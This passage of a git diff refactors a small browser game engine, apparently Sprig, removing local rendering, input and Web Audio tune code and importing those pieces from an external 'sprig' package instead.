'D5': 587, - 'D#5': 622, - 'E5': 659, - 'F5': 698, - 'F#5': 740, - 'G5': 784, - 'G#5': 831, - 'A5': 880, - 'A#5': 932, - 'B5': 988, - 'C6': 1047, - 'C#6': 1109, - 'D6': 1175, - 'D#6': 1245, - 'E6': 1319, - 'F6': 1397, - 'F#6': 1480, - 'G6': 1568, - 'G#6': 1661, - 'A6': 1760, - 'A#6': 1865, - 'B6': 1976, - 'C7': 2093, - 'C#7': 2217, - 'D7': 2349, - 'D#7': 2489, - 'E7': 2637, - 'F7': 2794, - 'F#7': 2960, - 'G7': 3136, - 'G#7': 3322, - 'A7': 3520, - 'A#7': 3729, - 'B7': 3951, - 'C8': 4186, - 'C#8': 4435, - 'D8': 4699, - 'D#8': 4978 -} - -export const instruments = [ 'sine', 'triangle', 'square', 'sawtooth' ] as const -export type InstrumentType = typeof instruments[number] - -export const instrumentKey: Record = { - '~': 'sine', - '-': 'square', - '^': 'triangle', - '/': 'sawtooth' -} -export const reverseInstrumentKey = Object.fromEntries( - Object.entries(instrumentKey).map(([ k, v ]) => [ v, k ]) -) as Record - -export type Tune = [number, ...(InstrumentType | number | string)[]][] - -export const textToTune = (text: string): Tune => { - const elements = text.replace(/\s/g, '').split(',') - const tune = [] - - for (const element of elements) { - if (!element) continue - const [durationRaw, notesRaw] = element.split(':') - const duration = Math.round(parseInt(durationRaw ?? '0', 10)) - const notes = (notesRaw || '').split('+').map((noteRaw) => { - if (!noteRaw) return [] - const [, pitchRaw, instrumentRaw, durationRaw] = noteRaw.match(/^(.+)([~\-^\/])(.+)$/)! - return [ - instrumentKey[instrumentRaw!] ?? 'sine', - isNaN(parseInt(pitchRaw ?? '', 10)) ? pitchRaw! : parseInt(pitchRaw!, 10), - parseInt(durationRaw ?? '0', 10) - ] - }) - tune.push([duration, ...notes].flat()) - } - - return tune as Tune -} - -export const tuneToText = (tune: Tune): string => { - const groupNotes = (notes: (number | string)[]) => { - const groups = [] - for (let i = 0; i < notes.length; i++) { - if (i % 3 === 0) { - groups.push([notes[i]!]) - } else { - groups[groups.length-1]!.push(notes[i]!) - } - } - return groups - } - - const notesToString = ([duration, ...notes]: Tune[number]) => ( - notes.length === 0 - ? duration - : `${duration}: ${groupNotes(notes).map(notesToStringHelper).join(' + ')}` - ) - - const notesToStringHelper = ([instrument, duration, note]: (number | string)[]) => ( - `${duration}${reverseInstrumentKey[instrument as InstrumentType]}${note}` - ) - - return tune.map(notesToString).join(',\n') -} \ No newline at end of file diff --git a/src/lib/engine/2-web/bitmap.ts b/src/lib/engine/2-web/bitmap.ts deleted file mode 100644 index 3ee066d8cd..0000000000 --- a/src/lib/engine/2-web/bitmap.ts +++ /dev/null @@ -1,33 +0,0 @@ -import { palette } from '../1-base/palette' - -// At odds with in-game behavior... doesn't enforce a size with stretching. -export const bitmapTextToImageData = (text: string): ImageData => { - const rows = text.trim().split("\n").map(x => x.trim()) - const rowLengths = rows.map(x => x.length) - const isRect = rowLengths.every(val => val === rowLengths[0]) - if (!isRect) throw new Error("Level must be rect.") - const width = rows[0]!.length || 1 - const height = rows.length || 1 - const data = new Uint8ClampedArray(width*height*4) - - const colors = Object.fromEntries(palette) - - const nonSpace = text.split('').filter(x => x !== ' ' && x !== '\n') // \S regex led to massive perf problems - for (let i = 0; i < width*height; i++) { - const type = nonSpace[i] || "." - - if (!(type in colors)) { - const err = `in sprite string: no known color for char "${type}"` - console.error(err + '\n' + text) - throw new Error(err + ' (invalid sprite in console)') - } - - const [ r, g, b, a ] = colors[type] ?? colors['.']! - data[i*4] = r - data[i*4 + 1] = g - data[i*4 + 2] = b - data[i*4 + 3] = a - } - - return new ImageData(data, width, height) -} \ No newline at end of file diff --git a/src/lib/engine/2-web/index.ts b/src/lib/engine/2-web/index.ts deleted file mode 100644 index c85e476e14..0000000000 --- a/src/lib/engine/2-web/index.ts +++ /dev/null @@ -1,152 +0,0 @@ -import { makeCanvas } from './util' -import { baseEngine } from '../1-base' -import { bitmapTextToImageData } from './bitmap' -import { getTextImg } from './text' - -export const VALID_INPUTS = [ 'w', 's', 'a', 'd', 'i', 'j', 'k', 'l' ] as const -export type InputKey = typeof VALID_INPUTS[number] - -export function webEngine(canvas: HTMLCanvasElement) { - const { api, state } = baseEngine() - - const ctx = canvas.getContext('2d')! - const offscreenCanvas = makeCanvas(1, 1) - const offscreenCtx = offscreenCanvas.getContext('2d')! - - const _bitmaps: Record = {} - let _zOrder: string[] = [] - - ctx.imageSmoothingEnabled = false - - const _gameloop = (): void => { - const { width, height } = state.dimensions - if (width === 0 || height === 0) return - - ctx.clearRect(0, 0, canvas.width, canvas.height) - - offscreenCanvas.width = width*16 - offscreenCanvas.height = height*16 - - offscreenCtx.fillStyle = 'white' - offscreenCtx.fillRect(0, 0, width*16, height*16) - - const grid = api.getGrid() - - for (let i = 0; i < width * height; i++) { - const x = i % width - const y = Math.floor(i/width) - const sprites = grid[i]! - - if (state.background) { - const imgData = _bitmaps[state.background]! - offscreenCtx.drawImage(imgData, x*16, y*16) - } - - sprites - .sort((a, b) => _zOrder.indexOf(b.type) - _zOrder.indexOf(a.type)) - .forEach((sprite) => { - const imgData = _bitmaps[sprite.type]! - offscreenCtx.drawImage(imgData, x*16, y*16) - }) - - } - - const scale = Math.min(canvas.width/(width*16), canvas.height/(height*16)) - const actualWidth = offscreenCanvas.width*scale - const actualHeight = offscreenCanvas.height*scale - ctx.drawImage( - offscreenCanvas, - (canvas.width-actualWidth)/2, - (canvas.height-actualHeight)/2, - actualWidth, - actualHeight - ) - - const textCanvas = getTextImg(state.texts) - ctx.drawImage( - textCanvas, - 0, - 0, - canvas.width, - canvas.height - ) - - animationId = window.requestAnimationFrame(_gameloop) - } - let animationId = window.requestAnimationFrame(_gameloop) - - const setLegend = (...bitmaps: [string, string][]): void => { - if (bitmaps.length == 0) throw new Error('There needs to be at least one sprite in the legend.') - - if (!Array.isArray(bitmaps[0])) throw new Error('The sprites passed into setLegend each need to be in square brackets, like setLegend([player, bitmap`...`]).') - - bitmaps.forEach(([ key ]) => { - if (key === '.') throw new Error(`Can't reassign "." bitmap`) - if (key.length !== 1) throw new Error(`Bitmaps must have one character names`) - }) - - state.legend = bitmaps - _zOrder = bitmaps.map(x => x[0]) - - for (let i = 0; i < bitmaps.length; i++) { - const [ key, value ] = bitmaps[i]! - const imgData = bitmapTextToImageData(value) - const littleCanvas = makeCanvas(16, 16) - littleCanvas.getContext('2d')!.putImageData(imgData, 0, 0) - _bitmaps[key] = littleCanvas - } - } - - let tileInputs: Record void)[]> = { - w: [], - s: [], - a: [], - d: [], - i: [], - j: [], - k: [], - l: [] - } - const afterInputs: (() => void)[] = [] - - const keydown = (e: KeyboardEvent) => { - const key = e.key - if (!VALID_INPUTS.includes(key as any)) return - - for (const validKey of VALID_INPUTS) - if (key === validKey) tileInputs[key].forEach(fn => fn()) - - afterInputs.forEach(f => f()) - - state.sprites.forEach((s: any) => { - s.dx = 0 - s.dy = 0 - }) - - e.preventDefault() - } - canvas.addEventListener('keydown', keydown) - - const onInput = (key: InputKey, fn: () => void): void => { - if (!VALID_INPUTS.includes(key)) - throw new Error(`Unknown input key, "${key}": expected one of ${VALID_INPUTS.join(', ')}`) - tileInputs[key].push(fn) - } - const afterInput = (fn: () => void): void => { afterInputs.push(fn) } - - return { - api: { - ...api, - setLegend, - onInput, - afterInput, - getState: () => state - }, - state, - cleanup: () => { - ctx.clearRect(0, 0, canvas.width, canvas.height) - window.cancelAnimationFrame(animationId) - canvas.removeEventListener('keydown', keydown) - } - } -} diff --git a/src/lib/engine/2-web/text.ts b/src/lib/engine/2-web/text.ts deleted file mode 100644 index fe9964673c..0000000000 --- a/src/lib/engine/2-web/text.ts +++ /dev/null @@ -1,35 +0,0 @@ -import { font } from '../1-base/font' -import { composeText, type Text } from '../1-base/text' -import { makeCanvas } from './util' - -export const getTextImg = (texts: Text[]): CanvasImageSource => { - const charGrid = composeText(texts) - const img = new ImageData(160, 128) - img.data.fill(0) - - for (const [i, row] of Object.entries(charGrid)) { - let xt = 0 - for (const { char, color } of row) { - const cc = char.charCodeAt(0) - - let y = Number(i)*8 - for (const bits of font.slice(cc*8, (1+cc)*8)) { - for (let x = 0; x < 8; x++) { - const val = (bits>>(7-x)) & 1 - - img.data[(y*img.width + xt + x)*4 + 0] = val*color[0] - img.data[(y*img.width + xt + x)*4 + 1] = val*color[1] - img.data[(y*img.width + xt + x)*4 + 2] = val*color[2] - img.data[(y*img.width + xt + x)*4 + 3] = val*255 - } - y++ - } - xt += 8 - } - } - - const canvas = makeCanvas(160, 128) - canvas.getContext('2d')!.putImageData(img, 0, 0) - - return canvas -} \ No newline at end of file diff --git a/src/lib/engine/2-web/util.ts b/src/lib/engine/2-web/util.ts deleted file mode 100644 index f7ee75a221..0000000000 --- a/src/lib/engine/2-web/util.ts +++ /dev/null @@ -1,6 +0,0 @@ -export function makeCanvas(width: number, height: number): HTMLCanvasElement { - const canvas = document.createElement('canvas') - canvas.width = width - canvas.height = height - return canvas -} \ No newline at end of file diff --git a/src/lib/engine/3-editor/tune.ts b/src/lib/engine/3-editor/tune.ts deleted file mode 100644 index c707916606..0000000000 --- a/src/lib/engine/3-editor/tune.ts +++ /dev/null @@ -1,80 +0,0 @@ -/* -song form - -[ - [duration, instrument, pitch, duration, ...], -] - -Syntax: -500: 64.4~500 + c5~1000 -[500, 'sine', 64.4, 500, 'sine', 'c5', 1000] -Comma between each tune element. Whitespace ignored. -*/ - -import { effect } from '@preact/signals' -import { lazy } from '../../utils/lazy' -import { muted } from '../../state' -import { instruments, InstrumentType, tones, type Tune } from '../1-base/tune' - -const audioCtx = lazy(() => new AudioContext()) -const volGain = lazy(() => { - const volGain = audioCtx.createGain() - volGain.connect(audioCtx.destination) - effect(() => volGain.gain.value = 1 - +muted.value) - return volGain -}) - -export function playFrequency(frequency: number, duration: number, instrument: InstrumentType, ctx: AudioContext, node: AudioNode) { - const osc = ctx.createOscillator() - const rampGain = ctx.createGain() - - osc.connect(rampGain) - rampGain.connect(node) - - osc.frequency.value = frequency - osc.type = instrument ?? 'sine' - osc.start() - - const endTime = ctx.currentTime + duration*2/1000 - osc.stop(endTime) - - rampGain.gain.setValueAtTime(0, ctx.currentTime) - rampGain.gain.linearRampToValueAtTime(.2, ctx.currentTime + duration/5/1000) - rampGain.gain.exponentialRampToValueAtTime(0.00001, ctx.currentTime + duration/1000) - rampGain.gain.linearRampToValueAtTime(0, ctx.currentTime + duration*2/1000) // does this ramp from the last ramp - - osc.onended = () => { - osc.disconnect() - rampGain.disconnect() - } -} - -const sleep = async (duration: number) => new Promise(resolve => setTimeout(resolve, duration)) -async function playTuneHelper(tune: Tune, number: number, playingRef: { playing: boolean }) { - for (let i = 0; i < tune.length*number; i++) { - const index = i%tune.length - if (!playingRef.playing) break - const noteSet = tune[index]! - const sleepTime = noteSet[0] - for (let j = 1; j < noteSet.length; j += 3) { - const instrument = noteSet[j] as InstrumentType - const note = noteSet[j+1]! - const duration = noteSet[j+2] as number - - const frequency = typeof note === 'string' - ? tones[note.toUpperCase()] - : 2**((note-69)/12)*440 - if (instruments.includes(instrument) && frequency !== undefined) playFrequency(frequency, duration, instrument, audioCtx, volGain.__lazy_self) - } - await sleep(sleepTime) - } -} - -export function playTune(tune: Tune, number = 1) { - const playingRef = { playing: true } - playTuneHelper(tune, number, playingRef) - return { - end() { playingRef.playing = false }, - isPlaying() { return playingRef.playing } - } -} \ No newline at end of file diff --git a/src/lib/engine/3-image-data/index.ts b/src/lib/engine/3-image-data/index.ts deleted file mode 100644 index 241cb33e0e..0000000000 --- a/src/lib/engine/3-image-data/index.ts +++ /dev/null @@ -1,101 +0,0 @@ -import { baseEngine } from '../1-base' -import { InputKey } from '../2-web' -import { bitmapTextToImageData } from '../2-web/bitmap' - -export const imageDataEngine = () => { - const game = baseEngine() - - let legendImages: Record = {} - let background: string = '.' - - const timeouts: number[] = [] - const intervals: number[] = [] - - const keyHandlers: Record void)[]> = { - w: [], - s: [], - a: [], - d: [], - i: [], - j: [], - k: [], - l: [] - } - const afterInputs: (() => void)[] = [] - - const cleanup = () => { - timeouts.forEach(clearTimeout) - intervals.forEach(clearInterval) - } - - const api = { - ...game.api, - onInput: (key: InputKey, fn: () => void) => keyHandlers[key].push(fn), - afterInput: (fn: () => void) => afterInputs.push(fn), - setLegend: (...bitmaps: [string, string][]) => { - game.state.legend = bitmaps - legendImages = {} - for (const [ id, desc ] of bitmaps) - legendImages[id] = bitmapTextToImageData(desc) - }, - setBackground: (kind: string) => background = kind, - setTimeout: (fn: TimerHandler, ms: number) => { - const timer = setTimeout(fn, ms) - timeouts.push(timer) - return timer - }, - setInterval: (fn: TimerHandler, ms: number) => { - const timer = setInterval(fn, ms) - intervals.push(timer) - return timer - }, - playTune: () => {} - } - - return { - run(code: string): void { - cleanup() - const fn = new Function(...Object.keys(api), code) - fn(...Object.values(api)) - }, - button(key: InputKey): void { - for (const fn of keyHandlers[key]) fn() - for (const fn of afterInputs) fn() - game.state.sprites.forEach((s: any) => { - s.dx = 0 - s.dy = 0 - }) - }, - render(): ImageData { - const width = () => game.state.dimensions.width - const height = () => game.state.dimensions.height - const tSize = () => 16 - - const sw = width() * tSize() - const sh = height() * tSize() - - const out = new ImageData(sw, sh) - out.data.fill(255) - - for (const t of game.api.getGrid().flat()) { - const img = legendImages[t.type ?? background] - if (!img) continue - - for (let x = 0; x < tSize(); x++) - for (let y = 0; y < tSize(); y++) { - const tx = t.x * tSize() + x - const ty = t.y * tSize() + y - const src_alpha = img.data[(y * 16 + x) * 4 + 3] - if (!src_alpha) continue - out.data[(ty * sw + tx) * 4 + 0] = img.data[(y * 16 + x) * 4 + 0]! - out.data[(ty * sw + tx) * 4 + 1] = img.data[(y * 16 + x) * 4 + 1]! - out.data[(ty * sw + tx) * 4 + 2] = img.data[(y * 16 + x) * 4 + 2]! - out.data[(ty * sw + tx) * 4 + 3] = img.data[(y * 16 + x) * 4 + 3]! - } - } - - return out - }, - cleanup - } -} \ No newline at end of file diff --git a/src/lib/engine/3-editor/error.ts b/src/lib/engine/error.ts similarity index 97% rename from src/lib/engine/3-editor/error.ts rename to src/lib/engine/error.ts index 9e7da93b4f..674b901eb7 100644 --- a/src/lib/engine/3-editor/error.ts +++ b/src/lib/engine/error.ts @@ -1,4 +1,4 @@ -import type { NormalizedError } from '../../state' +import type { NormalizedError } from '../state' export type EsprimaError = Error & { description: string @@ -146,9 +146,9 @@ function findErrorLineCol(stack: string | undefined): [number | null, number | n let location = stack.match(/:(.+)\)/) if (location) { - let lineCol = location[1].split(":").map(Number) - line = lineCol[0] - 2 - 1 - col = lineCol[1] + let lineCol = location[1]!.split(":").map(Number) + line = lineCol[0]! - 2 - 1 + col = lineCol[1]! } return [line, col] diff --git a/src/lib/engine/3-editor/index.ts b/src/lib/engine/index.ts similarity index 91% rename from src/lib/engine/3-editor/index.ts rename to src/lib/engine/index.ts index 7826e8deaf..3f16dcf7bd 100644 --- a/src/lib/engine/3-editor/index.ts +++ b/src/lib/engine/index.ts @@ -1,9 +1,10 @@ -import { textToTune } from '../1-base/tune' -import { webEngine } from '../2-web' import { playTune } from './tune' import { parseScript } from 'esprima' import { normalizeGameError, type EsprimaError } from './error' -import { bitmaps, NormalizedError } from '../../state' +import { bitmaps, NormalizedError } from '../state' +import type { PlayTuneRes } from 'sprig' +import { textToTune } from 'sprig/base' +import { webEngine } from 'sprig/web' interface RunResult { error: NormalizedError | null @@ -13,7 +14,7 @@ interface RunResult { export function runGame(code: string, canvas: HTMLCanvasElement, onPageError: (error: NormalizedError) => void): RunResult { const game = webEngine(canvas) - const tunes: any[] = [] + const tunes: PlayTuneRes[] = [] const timeouts: number[] = [] const intervals: number[] = [] diff --git a/src/lib/engine/tune.ts b/src/lib/engine/tune.ts new file mode 100644 index 0000000000..fd4c3a665c --- /dev/null +++ b/src/lib/engine/tune.ts @@ -0,0 +1,22 @@ +import { effect } from '@preact/signals' +import { lazy } from '../utils/lazy' +import { muted } from '../state' +import { type PlayTuneRes, type Tune } from 'sprig' +import { playTuneHelper } from 'sprig/web' + +const audioCtx = lazy(() => new AudioContext()) +const volGain = lazy(() => { + const volGain = audioCtx.createGain() + volGain.connect(audioCtx.destination) + effect(() => volGain.gain.value = 1 - +muted.value) + return volGain +}) + +export function playTune(tune: Tune, number = 1): PlayTuneRes { + const playingRef = { playing: true } + playTuneHelper(tune, number, playingRef, audioCtx, volGain.__lazy_self) + return { + end() { playingRef.playing = false }, + isPlaying() { return playingRef.playing } + } +} \ No newline at end of file diff --git a/src/lib/utils/keyboard.ts b/src/lib/utils/events.ts similarity index 100% rename from src/lib/utils/keyboard.ts rename to src/lib/utils/events.ts diff --git a/src/lib/utils/popup-close-click.ts b/src/lib/utils/popup-close-click.ts index 41b90911bc..0ba2899a74 100644 --- a/src/lib/utils/popup-close-click.ts +++ b/src/lib/utils/popup-close-click.ts @@ -1,5 +1,5 @@ import { useEffect } from 'preact/hooks' -import { leftDown } from './keyboard' +import { leftDown } from './events' export const usePopupCloseClick = (popupClass: string | string[], close: () => void, isVisible: boolean = true) => { useEffect(() => { diff --git a/src/lib/utils/transparent-bg.ts b/src/lib/utils/transparent-bg.ts new file mode 100644 index 0000000000..aa9584c7e0 --- /dev/null +++ b/src/lib/utils/transparent-bg.ts @@ -0,0 +1 @@ +export const transparentBgUrl = `data:image/svg+xml,%0A%3Csvg width='23' height='23' viewBox='0 0 8 8' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect width='8' height='8' fill='white'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M0 0H4V4H0V0ZM4 4H8V8H4V4Z' fill='%23DCEFFC'/%3E%3C/svg%3E%0A` \ No newline at end of file diff --git a/src/pages/api/thumbnail.ts b/src/pages/api/thumbnail.ts index 9ddd4fe1da..e177ef2e5a 100644 --- a/src/pages/api/thumbnail.ts +++ b/src/pages/api/thumbnail.ts @@ -1,6 +1,5 @@ import type { APIRoute } from 'astro' -import { baseEngine } from '../../lib/engine/1-base' -import { palette } from '../../lib/engine/1-base/palette' +import { baseEngine, palette } from 'sprig/base' import { RawThumbnail, Thumbnail } from '../../lib/thumbnail' const evalGameScript = (script: string) => { diff --git a/src/pages/deprecated-file-player.astro b/src/pages/deprecated-file-player.astro index 8de1ca8417..88e941df0b 100644 --- a/src/pages/deprecated-file-player.astro +++ b/src/pages/deprecated-file-player.astro @@ -35,7 +35,7 @@ const code = await codeRes.text() window.__sprig_intitial_code__ = code